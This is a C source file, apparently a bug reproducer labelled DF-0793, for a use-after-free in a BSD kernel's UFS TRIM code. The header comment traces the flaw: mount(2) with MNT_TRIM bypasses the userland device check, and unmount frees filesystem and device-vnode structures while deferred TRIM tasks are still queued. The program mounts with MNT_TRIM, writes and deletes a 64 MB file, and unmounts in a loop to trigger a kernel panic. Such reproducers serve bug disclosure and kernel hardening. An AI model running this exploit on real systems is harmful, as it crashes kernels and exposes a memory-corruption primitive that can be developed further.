DF-0793 / trim_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * DF-0793 reproduction harness. * * Strategy: * The kernel mount(2) syscall sets MNT_TRIM on the mount WITHOUT checking * that the backing device supports TRIM (only the *userland* mount_ufs * gates on kern.cam.da.*.trim_enabled -- sbin/mount_ufs/mount_ufs.c:101). * So we mount /dev/vn0 as "ufs" with MNT_TRIM directly via the syscall, * which makes ffs_blkfree() take the TRIM path: * * ffs_blkfree (ffs_alloc.c:1667) -> kmalloc ffs_blkfree_trim_params storing * RAW ip->i_fs / ip->i_devvp / ip->i_dev (no vref/vfs_ref) -> * vn_strategy(devvp, FREEBLKS bio, bio_done=ffs_blkfree_trim_completed) -> * completion -> taskqueue_enqueue(taskqueue_swi, ffs_blkfree_trim_task) -> * [DEFERRED] ffs_blkfree_cg(tp->i_fs, tp->i_devvp, ...) derefs the 3 ptrs. * * ffs_unmount (ffs_vfsops.c:824) does ffs_flushfiles -> vinvalbuf/VOP_CLOSE/ * vrele/kfree(fs)/kfree(ump) with NO taskqueue_drain(taskqueue_swi) of the * pending TRIM tasks. If we delete a large file (many ffs_blkfree -> * many enqueued swi tasks) and immediately unmount, umount frees fs/ump/ * devvp while swi tasks are still pending -> the next ffs_blkfree_trim_task * dereferences freed M_UFSMNT heap / freed device vnode -> UAF panic. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/ucred.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #ifndef MNT_TRIM #define MNT_TRIM 0x01000000 #endif /* Mirror of kernel struct ufs_args (sys/vfs/ufs/ufsmount.h:39). * export_args is provided by <sys/mount.h>. We define this locally to * avoid depending on ufs/ufs/ufsmount.h being installed in the guest. */ struct ufs_args { char *fspec; struct export_args export; }; #define MNTPT "/mnt/df0793" #define BIGFILE MNTPT "/blob" #define DEV "/dev/vn0" static void fill_then_delete(void) { int fd; char buf[8192]; long i, n; ssize_t w; memset(buf, 'A', sizeof(buf)); fd = open(BIGFILE, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) err(1, "open %s", BIGFILE); /* ~64 MB of data => many full-block frees on unlink */ n = (64L * 1024 * 1024) / sizeof(buf); for (i = 0; i < n; i++) { w = write(fd, buf, sizeof(buf)); if (w != (ssize_t)sizeof(buf)) { /* fs full is fine */ break; } } fsync(fd); close(fd); /* unlink generates the ffs_blkfree() TRIM calls + swi tasks */ if (unlink(BIGFILE) != 0) warn("unlink %s", BIGFILE); } int main(int argc, char **argv) { struct ufs_args args; int loops = 50; int i; if (argc > 1) loops = atoi(argv[1]); mkdir(MNTPT, 0755); for (i = 0; i < loops; i++) { memset(&args, 0, sizeof(args)); args.fspec = __DECONST(char *, DEV); args.export.ex_root = -2; args.export.ex_flags = 0; /* direct mount(2) with MNT_TRIM -- bypasses userland da-only check */ if (mount("ufs", MNTPT, MNT_TRIM, &args) != 0) { err(1, "mount ufs+trim iteration %d", i); } printf("[%d] mounted ufs+trim OK; fill+delete+umount\n", i); fflush(stdout); fill_then_delete(); /* RACE: unmount frees fs/ump/devvp while swi TRIM tasks pending */ if (unmount(MNTPT, 0) != 0) { warn("unmount iteration %d", i); /* retry with force */ if (unmount(MNTPT, MNT_FORCE) != 0) err(1, "unmount force iteration %d", i); } } printf("DONE %d loops with no panic\n", loops); return 0; } |